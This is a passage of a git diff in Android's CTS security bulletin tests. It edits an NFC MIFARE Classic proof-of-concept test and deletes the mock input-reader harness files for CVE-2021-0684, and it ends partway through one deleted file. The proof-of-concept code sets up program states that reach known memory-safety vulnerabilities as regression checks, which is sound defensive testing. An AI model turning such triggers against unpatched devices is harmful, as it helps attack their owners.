p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP; + p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A; + RW_SetActivatedTagType(&p_activate_params, &poc_cback); + FAIL_CHECK(rw_cb.p_cback == &poc_cback); + + p_mfc = &rw_cb.tcb.mfc; GKI_init(); rw_init(); uint8_t selres = 1; - uint8_t uid[MFC_UID_LEN] = { 1 }; - if (rw_mfc_select(selres, uid) != NFC_STATUS_OK) { - return EXIT_FAILURE; - } + uint8_t uid[MFC_UID_LEN] = {1}; + + enable_selective_overload = ENABLE_MALLOC_CHECK; + FAIL_CHECK(rw_mfc_select(selres, uid) == NFC_STATUS_OK); p_mfc->state = RW_MFC_STATE_READ_NDEF; p_mfc->substate = RW_MFC_SUBSTATE_READ_BLOCK; - tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID]; + tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID]; - tNFC_CONN* p_data = (tNFC_CONN*) malloc(sizeof(tNFC_CONN)); - if (!p_data) { - return EXIT_FAILURE; - } + p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN)); + FAIL_CHECK(p_data); - p_data->data.p_data = (NFC_HDR*) malloc(sizeof(uint8_t) * 16); - if (!(p_data->data.p_data)) { - free(p_data); - return EXIT_FAILURE; - } + p_data->data.p_data = (NFC_HDR *)malloc(sizeof(uint8_t) * 16); + FAIL_CHECK(p_data->data.p_data); p_data->data.status = NFC_STATUS_OK; tNFC_CONN_EVT event = NFC_DATA_CEVT; - NFC_HDR* mfc_data = (NFC_HDR*) p_data->data.p_data; - mfc_data->len = 0x10; + NFC_HDR *mfc_data = (NFC_HDR *)p_data->data.p_data; + mfc_data->len = RW_MFC_DATA_LEN; mfc_data->offset = 0; - p_mfc->ndef_length = 1024; - p_mfc->p_ndef_buffer = (uint8_t*) malloc(sizeof(uint8_t) * 16); - if (!(p_mfc->p_ndef_buffer)) { - free(p_data->data.p_data); - free(p_data); - return EXIT_FAILURE; - } + p_mfc->ndef_length = P_MFC_NDEF_LENGTH; + p_mfc->p_ndef_buffer = (uint8_t *)malloc(sizeof(uint8_t) * 16); + enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK; + FAIL_CHECK(p_mfc->p_ndef_buffer); rw_cb.p_cback = cback; + isTestInProgress = true; p_cb->p_cback(0, event, p_data); + isTestInProgress = false; - free(p_mfc->p_ndef_buffer); - free(p_data->data.p_data); - free(p_data); return EXIT_SUCCESS; } diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp deleted file mode 100644 index 875a38ad762..00000000000 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp +++ /dev/null @@ -1,111 +0,0 @@ -/* - * Copyright (C) 2019 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp' - * is used as reference to come up with file - * Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is - * retained - */ - -#include "TestInputListener.h" - -namespace android { - -// --- TestInputListener --- - -TestInputListener::TestInputListener(std::chrono::milliseconds eventHappenedTimeout, - std::chrono::milliseconds eventDidNotHappenTimeout) - : mEventHappenedTimeout(eventHappenedTimeout), - mEventDidNotHappenTimeout(eventDidNotHappenTimeout) {} - -TestInputListener::~TestInputListener() {} - -template <class NotifyArgsType> -void TestInputListener::assertCalled(NotifyArgsType* outEventArgs, std::string message) { - std::unique_lock<std::mutex> lock(mLock); - base::ScopedLockAssertion assumeLocked(mLock); - - std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues); - if (queue.empty()) { - const bool eventReceived = - mCondition.wait_for(lock, mEventHappenedTimeout, - [&queue]() REQUIRES(mLock) { return !queue.empty(); }); - if (!eventReceived) { - return; - } - } - if (outEventArgs) { - *outEventArgs = *queue.begin(); - } - queue.erase(queue.begin()); -} - -template <class NotifyArgsType> -void TestInputListener::assertNotCalled(std::string message) { - std::unique_lock<std::mutex> lock(mLock); - base::ScopedLockAssertion assumeLocked(mLock); - - std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues); - const bool eventReceived = - mCondition.wait_for(lock, mEventDidNotHappenTimeout, - [&queue]() REQUIRES(mLock) { return !queue.empty(); }); - if (eventReceived) { - return; - } -} - -template <class NotifyArgsType> -void TestInputListener::notify(const NotifyArgsType* args) { - std::scoped_lock<std::mutex> lock(mLock); - - std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues); - queue.push_back(*args); - mCondition.notify_all(); -} - -void TestInputListener::notifyConfigurationChanged(const NotifyConfigurationChangedArgs* args) { - notify<NotifyConfigurationChangedArgs>(args); -} - -void TestInputListener::notifyDeviceReset(const NotifyDeviceResetArgs* args) { - notify<NotifyDeviceResetArgs>(args); -} - -void TestInputListener::notifyKey(const NotifyKeyArgs* args) { - notify<NotifyKeyArgs>(args); -} - -void TestInputListener::notifyMotion(const NotifyMotionArgs* args) { - notify<NotifyMotionArgs>(args); -} - -void TestInputListener::notifySwitch(const NotifySwitchArgs* args) { - notify<NotifySwitchArgs>(args); -} - -void TestInputListener::notifyPointerCaptureChanged(const NotifyPointerCaptureChangedArgs* args) { - notify<NotifyPointerCaptureChangedArgs>(args); -} - -void TestInputListener::notifySensor(const NotifySensorArgs* args) { - notify<NotifySensorArgs>(args); -} - -void TestInputListener::notifyVibratorState(const NotifyVibratorStateArgs* args) { - notify<NotifyVibratorStateArgs>(args); -} - -} // namespace android diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h deleted file mode 100644 index 067ac835ba2..00000000000 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h +++ /dev/null @@ -1,85 +0,0 @@ -/* - * Copyright (C) 2019 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp' - * is used as reference to come up with file - * Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is - * retained - */ - -#ifndef _UI_TEST_INPUT_LISTENER_H -#define _UI_TEST_INPUT_LISTENER_H - -#include <android-base/thread_annotations.h> -#include "InputListener.h" - -using std::chrono_literals::operator""ms; - -namespace android { - -// --- TestInputListener --- - -class TestInputListener : public InputListenerInterface { -protected: - virtual ~TestInputListener(); - -public: - TestInputListener(std::chrono::milliseconds eventHappenedTimeout = 0ms, - std::chrono::milliseconds eventDidNotHappenTimeout = 0ms); - - template <class NotifyArgsType> - void assertCalled(NotifyArgsType* outEventArgs, std::string message); - - template <class NotifyArgsType> - void assertNotCalled(std::string message); - - template <class NotifyArgsType> - void notify(const NotifyArgsType* args); - - virtual void notifyConfigurationChanged(const NotifyConfigurationChangedArgs* args) override; - - virtual void notifyDeviceReset(const NotifyDeviceResetArgs* args) override; - - virtual void notifyKey(const NotifyKeyArgs* args) override; - - virtual void notifyMotion(const NotifyMotionArgs* args) override; - - virtual void notifySwitch(const NotifySwitchArgs* args) override; - - virtual void notifySensor(const NotifySensorArgs* args) override; - - virtual void notifyVibratorState(const NotifyVibratorStateArgs* args) override; - - virtual void notifyPointerCaptureChanged(const NotifyPointerCaptureChangedArgs* args) override; - - std::mutex mLock; - std::condition_variable mCondition; - const std::chrono::milliseconds mEventHappenedTimeout; - const std::chrono::milliseconds mEventDidNotHappenTimeout; - - std::tuple<std::vector<NotifyConfigurationChangedArgs>, // - std::vector<NotifyDeviceResetArgs>, // - std::vector<NotifyKeyArgs>, // - std::vector<NotifyMotionArgs>, // - std::vector<NotifySwitchArgs>, // - std::vector<NotifySensorArgs>, // - std::vector<NotifyVibratorStateArgs>, // - std::vector<NotifyPointerCaptureChangedArgs>> // - mQueues GUARDED_BY(mLock); -}; - -} // namespace android -#endif diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp deleted file mode 100644 index 13b33b6771f..00000000000 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp +++ /dev/null @@ -1,1236 +0,0 @@ -/* - * Copyright (C) 2021 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp' - * is used as reference to come up with file - * Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is - * retained - */ - -#include <InputMapper.h> -#include <InputReader.h> -#include <InputReaderBase.h> -#include <InputReaderFactory.h> -#include <MultiTouchInputMapper.h> -#include <TestInputListener.h> - -namespace android { - -using std::chrono_literals::operator""ms; -using namespace android::flag_operators; - -// Timeout for waiting for an expected event -static constexpr std::chrono::duration WAIT_TIMEOUT = 100ms; - -// An arbitrary time value. -static constexpr nsecs_t ARBITRARY_TIME = 1234; -static constexpr nsecs_t READ_TIME = 4321; - -// Arbitrary display properties. -static constexpr int32_t DISPLAY_ID = 0; -static constexpr int32_t DISPLAY_WIDTH = 480; -static constexpr int32_t DISPLAY_HEIGHT = 800; -static constexpr std::optional<uint8_t> NO_PORT = std::nullopt; -static constexpr int32_t BATTERY_STATUS = 4; -static constexpr int32_t BATTERY_CAPACITY = 66; -static constexpr int32_t RAW_X_MIN = 25; -static constexpr int32_t RAW_X_MAX = 1019; -static constexpr int32_t RAW_Y_MIN = 30; -static constexpr int32_t RAW_Y_MAX = 1009; -constexpr int32_t DEVICE_ID = END_RESERVED_ID + 1000; -constexpr int32_t DEVICE_GENERATION = 2; - -const char* DEVICE_NAME = "device"; -const char* DEVICE_LOCATION = "USB1"; -const Flags<InputDeviceClass> DEVICE_CLASSES = Flags<InputDeviceClass>(0); -constexpr int32_t EVENTHUB_ID = 1; -const std::string UNIQUE_ID = "local:0"; - -template <typename T> -static inline T min(T a, T b) { - return a < b ? a : b; -} - -// --- TestPointerController --- - -class TestPointerController : public PointerControllerInterface { - bool mHaveBounds; - float mMinX, mMinY, mMaxX, mMaxY; - float mX, mY; - int32_t mButtonState; - int32_t mDisplayId; - -public: - TestPointerController() - : mHaveBounds(false), - mMinX(0), - mMinY(0), - mMaxX(0), - mMaxY(0), - mX(0), - mY(0), - mButtonState(0), - mDisplayId(ADISPLAY_ID_DEFAULT) {} - - virtual ~TestPointerController() {} - - void setBounds(float minX, float minY, float maxX, float maxY) { - mHaveBounds = true; - mMinX = minX; - mMinY = minY; - mMaxX = maxX; - mMaxY = maxY; - } - - void setPosition(float x, float y) override { - mX = x; - mY = y; - } - - void setButtonState(int32_t buttonState) override { mButtonState = buttonState; } - - int32_t getButtonState() const override { return mButtonState; } - - void getPosition(float* outX, float* outY) const override { - *outX = mX; - *outY = mY; - } - - int32_t getDisplayId() const override { return mDisplayId; } - - void setDisplayViewport(const DisplayViewport& viewport) override { - mDisplayId = viewport.displayId; - } - - const std::map<int32_t, std::vector<int32_t>>& getSpots() { return mSpotsByDisplay; } - -private: - bool getBounds(float* outMinX, float* outMinY, float* outMaxX, float* outMaxY) const override { - *outMinX = mMinX; - *outMinY = mMinY; - *outMaxX = mMaxX; - *outMaxY = mMaxY; - return mHaveBounds; - } - - void move(float deltaX, float deltaY) override { - mX += deltaX; - if (mX < mMinX) mX = mMinX; - if (mX > mMaxX) mX = mMaxX; - mY += deltaY; - if (mY < mMinY) mY = mMinY; - if (mY > mMaxY) mY = mMaxY; - } - - void fade(Transition) override {} - - void unfade(Transition) override {} - - void setPresentation(Presentation) override {} - - void setSpots(const PointerCoords*, const uint32_t*, BitSet32 spotIdBits, - int32_t displayId) override { - std::vector<int32_t> newSpots; - // Add spots for fingers that are down. - for (BitSet32 idBits(spotIdBits); !idBits.isEmpty();) { - uint32_t id = idBits.clearFirstMarkedBit(); - newSpots.push_back(id); - } - - mSpotsByDisplay[displayId] = newSpots; - } - - void clearSpots() override {} - - std::map<int32_t, std::vector<int32_t>> mSpotsByDisplay; -}; - -// --- TestInputReaderPolicy--- - -class TestInputReaderPolicy : public InputReaderPolicyInterface { - std::mutex mLock; - std::condition_variable mDevicesChangedCondition; - - InputReaderConfiguration mConfig; - std::unordered_map<int32_t, std::shared_ptr<TestPointerController>> mPointerControllers; - std::vector<InputDeviceInfo> mInputDevices GUARDED_BY(mLock); - bool mInputDevicesChanged GUARDED_BY(mLock){false}; - std::vector<DisplayViewport> mViewports; - TouchAffineTransformation transform; - -protected: - virtual ~TestInputReaderPolicy() {} - -public: - TestInputReaderPolicy() {} - - virtual void clearViewports() { - mViewports.clear(); - mConfig.setDisplayViewports(mViewports); - } - - std::optional<DisplayViewport> getDisplayViewportByUniqueId(const std::string& uniqueId) const { - return mConfig.getDisplayViewportByUniqueId(uniqueId); - } - std::optional<DisplayViewport> getDisplayViewportByType(ViewportType type) const { - return mConfig.getDisplayViewportByType(type); - } - - std::optional<DisplayViewport> getDisplayViewportByPort(uint8_t displayPort) const { - return mConfig.getDisplayViewportByPort(displayPort); - } - - void addDisplayViewport(int32_t displayId, int32_t width, int32_t height, int32_t orientation, - bool isActive, const std::string& uniqueId, - std::optional<uint8_t> physicalPort, ViewportType viewportType) { - const DisplayViewport viewport = - createDisplayViewport(displayId, width, height, orientation, isActive, uniqueId, - physicalPort, viewportType); - mViewports.push_back(viewport); - mConfig.setDisplayViewports(mViewports); - } - - bool updateViewport(const DisplayViewport& viewport) { - size_t count = mViewports.size(); - for (size_t i = 0; i < count; i++) { - const DisplayViewport& currentViewport = mViewports[i]; - if (currentViewport.displayId == viewport.displayId) { - mViewports[i] = viewport; - mConfig.setDisplayViewports(mViewports); - return true; - } - } - // no viewport found. - return false; - } - - void addExcludedDeviceName(const std::string& deviceName) { - mConfig.excludedDeviceNames.push_back(deviceName); - } - - void addInputPortAssociation(const std::string& inputPort, uint8_t displayPort) { - mConfig.portAssociations.insert({inputPort, displayPort}); - } - - void addInputUniqueIdAssociation(const std::string& inputUniqueId, - const std::string& displayUniqueId) { - mConfig.uniqueIdAssociations.insert({inputUniqueId, displayUniqueId}); - } - - void addDisabledDevice(int32_t deviceId) { mConfig.disabledDevices.insert(deviceId); } - - void removeDisabledDevice(int32_t deviceId) { mConfig.disabledDevices.erase(deviceId); } - - void setPointerController(int32_t deviceId, std::shared_ptr<TestPointerController> controller) { - mPointerControllers.insert_or_assign(deviceId, std::move(controller)); - } - - const InputReaderConfiguration* getReaderConfiguration() const { return &mConfig; } - - const std::vector<InputDeviceInfo>& getInputDevices() const { return mInputDevices; } - - TouchAffineTransformation getTouchAffineTransformation(const std::string& inputDeviceDescriptor, - int32_t surfaceRotation) { - return transform; - } - - void setTouchAffineTransformation(const TouchAffineTransformation t) { transform = t; } - - void setPointerCapture(bool enabled) { mConfig.pointerCapture = enabled; } - - void setShowTouches(bool enabled) { mConfig.showTouches = enabled; } - - void setDefaultPointerDisplayId(int32_t pointerDisplayId) { - mConfig.defaultPointerDisplayId = pointerDisplayId; - } - - float getPointerGestureMovementSpeedRatio() { return mConfig.pointerGestureMovementSpeedRatio; } - -private: - DisplayViewport createDisplayViewport(int32_t displayId, int32_t width, int32_t height, - int32_t orientation, bool isActive, - const std::string& uniqueId, - std::optional<uint8_t> physicalPort, ViewportType type) { - bool isRotated = - (orientation == DISPLAY_ORIENTATION_90 || orientation == DISPLAY_ORIENTATION_270); - DisplayViewport v; - v.displayId = displayId; - v.orientation = orientation; - v.logicalLeft = 0; - v.logicalTop = 0; - v.logicalRight = isRotated ? height : width; - v.logicalBottom = isRotated ? width : height; - v.physicalLeft = 0; - v.physicalTop = 0; - v.physicalRight = isRotated ? height : width; - v.physicalBottom = isRotated ? width : height; - v.deviceWidth = isRotated ? height : width; - v.deviceHeight = isRotated ? width : height; - v.isActive = isActive; - v.uniqueId = uniqueId; - v.physicalPort = physicalPort; - v.type = type; - return v; - } - - void getReaderConfiguration(InputReaderConfiguration* outConfig) override { - *outConfig = mConfig; - } - - std::shared_ptr<PointerControllerInterface> obtainPointerController(int32_t deviceId) override { - return mPointerControllers[deviceId]; - } - - void notifyInputDevicesChanged(const std::vector<InputDeviceInfo>& inputDevices) override { - std::scoped_lock<std::mutex> lock(mLock); - mInputDevices = inputDevices; - mInputDevicesChanged = true; - mDevicesChangedCondition.notify_all(); - } - - std::shared_ptr<KeyCharacterMap> getKeyboardLayoutOverlay( - const InputDeviceIdentifier&) override { - return nullptr; - } - - std::string getDeviceAlias(const InputDeviceIdentifier&) override { return ""; } - - void waitForInputDevices(std::function<void(bool)> processDevicesChanged) { - std::unique_lock<std::mutex> lock(mLock); - base::ScopedLockAssertion assumeLocked(mLock); - - mDevicesChangedCondition.wait_for(lock, WAIT_TIMEOUT, [this]() REQUIRES(mLock) { - return mInputDevicesChanged; - }); - mInputDevicesChanged = false; - } -}; - -// --- TestEventHub --- - -class TestEventHub : public EventHubInterface { - struct KeyInfo { - int32_t keyCode; - uint32_t flags; - }; - - struct SensorInfo { - InputDeviceSensorType sensorType; - int32_t sensorDataIndex; - }; - - struct Device { - InputDeviceIdentifier identifier; - Flags<InputDeviceClass> classes; - PropertyMap configuration; - KeyedVector<int, RawAbsoluteAxisInfo> absoluteAxes; - KeyedVector<int, bool> relativeAxes; - KeyedVector<int32_t, int32_t> keyCodeStates; - KeyedVector<int32_t, int32_t> scanCodeStates; - KeyedVector<int32_t, int32_t> switchStates; - KeyedVector<int32_t, int32_t> absoluteAxisValue; - KeyedVector<int32_t, KeyInfo> keysByScanCode; - KeyedVector<int32_t, KeyInfo> keysByUsageCode; - KeyedVector<int32_t, bool> leds; - std::unordered_map<int32_t, SensorInfo> sensorsByAbsCode; - BitArray<MSC_MAX> mscBitmask; - std::vector<VirtualKeyDefinition> virtualKeys; - bool enabled; - - status_t enable() { - enabled = true; - return OK; - } - - status_t disable() { - enabled = false; - return OK; - } - - explicit Device(Flags<InputDeviceClass> classes) : classes(classes), enabled(true) {} - }; - - std::mutex mLock; - std::condition_variable mEventsCondition; - - KeyedVector<int32_t, Device*> mDevices; - std::vector<std::string> mExcludedDevices; - std::vector<RawEvent> mEvents GUARDED_BY(mLock); - std::unordered_map<int32_t /*deviceId*/, std::vector<TouchVideoFrame>> mVideoFrames; - std::vector<int32_t> mVibrators = {0, 1}; - std::unordered_map<int32_t, RawLightInfo> mRawLightInfos; - // Simulates a device light brightness, from light id to light brightness. - std::unordered_map<int32_t /* lightId */, int32_t /* brightness*/> mLightBrightness; - // Simulates a device light intensities, from light id to light intensities map. - std::unordered_map<int32_t /* lightId */, std::unordered_map<LightColor, int32_t>> - mLightIntensities; - -public: - virtual ~TestEventHub() { - for (size_t i = 0; i < mDevices.size(); i++) { - delete mDevices.valueAt(i); - } - } - - TestEventHub() {} - - void addDevice(int32_t deviceId, const std::string& name, Flags<InputDeviceClass> classes) { - Device* device = new Device(classes); - device->identifier.name = name; - mDevices.add(deviceId, device); - - enqueueEvent(ARBITRARY_TIME, READ_TIME, deviceId, EventHubInterface::DEVICE_ADDED, 0, 0); - } - - void removeDevice(int32_t deviceId) { - delete mDevices.valueFor(deviceId); - mDevices.removeItem(deviceId); - - enqueueEvent(ARBITRARY_TIME, READ_TIME, deviceId, EventHubInterface::DEVICE_REMOVED, 0, 0); - } - - bool isDeviceEnabled(int32_t deviceId) { - Device* device = getDevice(deviceId); - if (device == nullptr) { - ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__); - return false; - } - return device->enabled; - } - - status_t enableDevice(int32_t deviceId) { - status_t result; - Device* device = getDevice(deviceId); - if (device == nullptr) { - ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__); - return BAD_VALUE; - } - if (device->enabled) { - ALOGW("Duplicate call to %s, device %" PRId32 " already enabled", __func__, deviceId); - return OK; - } - result = device->enable(); - return result; - } - - status_t disableDevice(int32_t deviceId) { - Device* device = getDevice(deviceId); - if (device == nullptr) { - ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__); - return BAD_VALUE; - } - if (!device->enabled) { - ALOGW("Duplicate call to %s, device %" PRId32 " already disabled", __func__, deviceId); - return OK; - } - return device->disable(); - } - - void finishDeviceScan() { - enqueueEvent(ARBITRARY_TIME, READ_TIME, 0, EventHubInterface::FINISHED_DEVICE_SCAN, 0, 0); - } - - void addConfigurationProperty(int32_t deviceId, const String8& key, const String8& value) { - Device* device = getDevice(deviceId); - device->configuration.addProperty(key, value); - } - - void addConfigurationMap(int32_t deviceId, const PropertyMap* configuration) { - Device* device = getDevice(deviceId); - device->configuration.addAll(configuration); - } - - void addAbsoluteAxis(int32_t deviceId, int axis, int32_t minValue, int32_t maxValue, int flat, - int fuzz, int resolution = 0) { - Device* device = getDevice(deviceId); - - RawAbsoluteAxisInfo info; - info.valid = true; - info.minValue = minValue; - info.maxValue = maxValue; - info.flat = flat; - info.fuzz = fuzz; - info.resolution = resolution; - device->absoluteAxes.add(axis, info); - } - - void addRelativeAxis(int32_t deviceId, int32_t axis) { - Device* device = getDevice(deviceId); - device->relativeAxes.add(axis, true); - } - - void setKeyCodeState(int32_t deviceId, int32_t keyCode, int32_t state) { - Device* device = getDevice(deviceId); - device->keyCodeStates.replaceValueFor(keyCode, state); - } - - void setScanCodeState(int32_t deviceId, int32_t scanCode, int32_t state) { - Device* device = getDevice(deviceId); - device->scanCodeStates.replaceValueFor(scanCode, state); - } - - void setSwitchState(int32_t deviceId, int32_t switchCode, int32_t state) { - Device* device = getDevice(deviceId); - device->switchStates.replaceValueFor(switchCode, state); - } - - void setAbsoluteAxisValue(int32_t deviceId, int32_t axis, int32_t value) { - Device* device = getDevice(deviceId); - device->absoluteAxisValue.replaceValueFor(axis, value); - } - - void addKey(int32_t deviceId, int32_t scanCode, int32_t usageCode, int32_t keyCode, - uint32_t flags) { - Device* device = getDevice(deviceId); - KeyInfo info; - info.keyCode = keyCode; - info.flags = flags; - if (scanCode) { - device->keysByScanCode.add(scanCode, info); - } - if (usageCode) { - device->keysByUsageCode.add(usageCode, info); - } - } - - void addLed(int32_t deviceId, int32_t led, bool initialState) { - Device* device = getDevice(deviceId); - device->leds.add(led, initialState); - } - - void addSensorAxis(int32_t deviceId, int32_t absCode, InputDeviceSensorType sensorType, - int32_t sensorDataIndex) { - Device* device = getDevice(deviceId); - SensorInfo info; - info.sensorType = sensorType; - info.sensorDataIndex = sensorDataIndex; - device->sensorsByAbsCode.emplace(absCode, info); - } - - void setMscEvent(int32_t deviceId, int32_t mscEvent) { - Device* device = getDevice(deviceId); - typename BitArray<MSC_MAX>::Buffer buffer; - buffer[mscEvent / 32] = 1 << mscEvent % 32; - device->mscBitmask.loadFromBuffer(buffer); - } - - void addRawLightInfo(int32_t rawId, RawLightInfo&& info) { - mRawLightInfos.emplace(rawId, std::move(info)); - } - - void testLightBrightness(int32_t rawId, int32_t brightness) { - mLightBrightness.emplace(rawId, brightness); - } - - void testLightIntensities(int32_t rawId, - const std::unordered_map<LightColor, int32_t> intensities) { - mLightIntensities.emplace(rawId, std::move(intensities)); - } - - bool getLedState(int32_t deviceId, int32_t led) { - Device* device = getDevice(deviceId); - return device->leds.valueFor(led); - } - - std::vector<std::string>& getExcludedDevices() { return mExcludedDevices; } - - void addVirtualKeyDefinition(int32_t deviceId, const VirtualKeyDefinition& definition) { - Device* device = getDevice(deviceId); - device->virtualKeys.push_back(definition); - } - - void enqueueEvent(nsecs_t when, nsecs_t readTime, int32_t deviceId, int32_t type, int32_t code, - int32_t value) { - std::scoped_lock<std::mutex> lock(mLock); - RawEvent event; - event.when = when; - event.readTime = readTime; - event.deviceId = deviceId; - event.type = type; - event.code = code; - event.value = value; - mEvents.push_back(event); - - if (type == EV_ABS) { - setAbsoluteAxisValue(deviceId, code, value); - } - } - - void setVideoFrames( - std::unordered_map<int32_t /*deviceId*/, std::vector<TouchVideoFrame>> videoFrames) { - mVideoFrames = std::move(videoFrames); - } - -private: - Device* getDevice(int32_t deviceId) const { - ssize_t index = mDevices.indexOfKey(deviceId); - return index >= 0 ? mDevices.valueAt(index) : nullptr; - } - - Flags<InputDeviceClass> getDeviceClasses(int32_t deviceId) const override { - Device* device = getDevice(deviceId); - return device ? device->classes : Flags<InputDeviceClass>(0); - } - - InputDeviceIdentifier getDeviceIdentifier(int32_t deviceId) const override { - Device* device = getDevice(deviceId); - return device ? device->identifier : InputDeviceIdentifier(); - } - - int32_t getDeviceControllerNumber(int32_t) const override { return 0; } - - void getConfiguration(int32_t deviceId, PropertyMap* outConfiguration) const override { - Device* device = getDevice(deviceId); - if (device) { - *outConfiguration = device->configuration; - } - } - - status_t getAbsoluteAxisInfo(int32_t deviceId, int axis, - RawAbsoluteAxisInfo* outAxisInfo) const override { - Device* device = getDevice(deviceId); - if (device && device->enabled) { - ssize_t index = device->absoluteAxes.indexOfKey(axis); - if (index >= 0) { - *outAxisInfo = device->absoluteAxes.valueAt(index); - return OK; - } - } - outAxisInfo->clear(); - return -1; - } - - bool hasRelativeAxis(int32_t deviceId, int axis) const override { - Device* device = getDevice(deviceId); - if (device) { - return device->relativeAxes.indexOfKey(axis) >= 0; - } - return false; - } - - bool hasInputProperty(int32_t, int) const override { return false; } - - bool hasMscEvent(int32_t deviceId, int mscEvent) const override final { - Device* device = getDevice(deviceId); - if (device) { - return mscEvent >= 0 && mscEvent <= MSC_MAX ? device->mscBitmask.test(mscEvent) : false; - } - return false; - } - - status_t mapKey(int32_t deviceId, int32_t scanCode, int32_t usageCode, int32_t metaState, - int32_t* outKeycode, int32_t* outMetaState, uint32_t* outFlags) const override { - Device* device = getDevice(deviceId); - if (device) { - const KeyInfo* key = getKey(device, scanCode, usageCode); - if (key) { - if (outKeycode) { - *outKeycode = key->keyCode; - } - if (outFlags) { - *outFlags = key->flags; - } - if (outMetaState) { - *outMetaState = metaState; - } - return OK; - } - } - return NAME_NOT_FOUND; - } - - const KeyInfo* getKey(Device* device, int32_t scanCode, int32_t usageCode) const { - if (usageCode) { - ssize_t index = device->keysByUsageCode.indexOfKey(usageCode); - if (index >= 0) { - return &device->keysByUsageCode.valueAt(index); - } - } - if (scanCode) { - ssize_t index = device->keysByScanCode.indexOfKey(scanCode); - if (index >= 0) { - return &device->keysByScanCode.valueAt(index); - } - } - return nullptr; - } - - status_t mapAxis(int32_t, int32_t, AxisInfo*) const override { return NAME_NOT_FOUND; } - - base::Result<std::pair<InputDeviceSensorType, int32_t>> mapSensor(int32_t deviceId, - int32_t absCode) { - Device* device = getDevice(deviceId); - if (!device) { - return Errorf("Sensor device not found."); - } - auto it = device->sensorsByAbsCode.find(absCode); - if (it == device->sensorsByAbsCode.end()) { - return Errorf("Sensor map not found."); - } - const SensorInfo& info = it->second; - return std::make_pair(info.sensorType, info.sensorDataIndex); - } - - void setExcludedDevices(const std::vector<std::string>& devices) override { - mExcludedDevices = devices; - } - - size_t getEvents(int, RawEvent* buffer, size_t bufferSize) override { - std::scoped_lock lock(mLock); - - const size_t filledSize = std::min(mEvents.size(), bufferSize); - std::copy(mEvents.begin(), mEvents.begin() + filledSize, buffer); - - mEvents.erase(mEvents.begin(), mEvents.begin() + filledSize); - mEventsCondition.notify_all(); - return filledSize; - } - - std::vector<TouchVideoFrame> getVideoFrames(int32_t deviceId) override { - auto it = mVideoFrames.find(deviceId); - if (it != mVideoFrames.end()) { - std::vector<TouchVideoFrame> frames = std::move(it->second); - mVideoFrames.erase(deviceId); - return frames; - } - return {}; - } - - int32_t getScanCodeState(int32_t deviceId, int32_t scanCode) const override { - Device* device = getDevice(deviceId); - if (device) { - ssize_t index = device->scanCodeStates.indexOfKey(scanCode); - if (index >= 0) { - return device->scanCodeStates.valueAt(index); - } - } - return AKEY_STATE_UNKNOWN; - } - - int32_t getKeyCodeState(int32_t deviceId, int32_t keyCode) const override { - Device* device = getDevice(deviceId); - if (device) { - ssize_t index = device->keyCodeStates.indexOfKey(keyCode); - if (index >= 0) { - return device->keyCodeStates.valueAt(index); - } - } - return AKEY_STATE_UNKNOWN; - } - - int32_t getSwitchState(int32_t deviceId, int32_t sw) const override { - Device* device = getDevice(deviceId); - if (device) { - ssize_t index = device->switchStates.indexOfKey(sw); - if (index >= 0) { - return device->switchStates.valueAt(index); - } - } - return AKEY_STATE_UNKNOWN; - } - - status_t getAbsoluteAxisValue(int32_t deviceId, int32_t axis, - int32_t* outValue) const override { - Device* device = getDevice(deviceId); - if (device) { - ssize_t index = device->absoluteAxisValue.indexOfKey(axis); - if (index >= 0) { - *outValue = device->absoluteAxisValue.valueAt(index); - return OK; - } - } - *outValue = 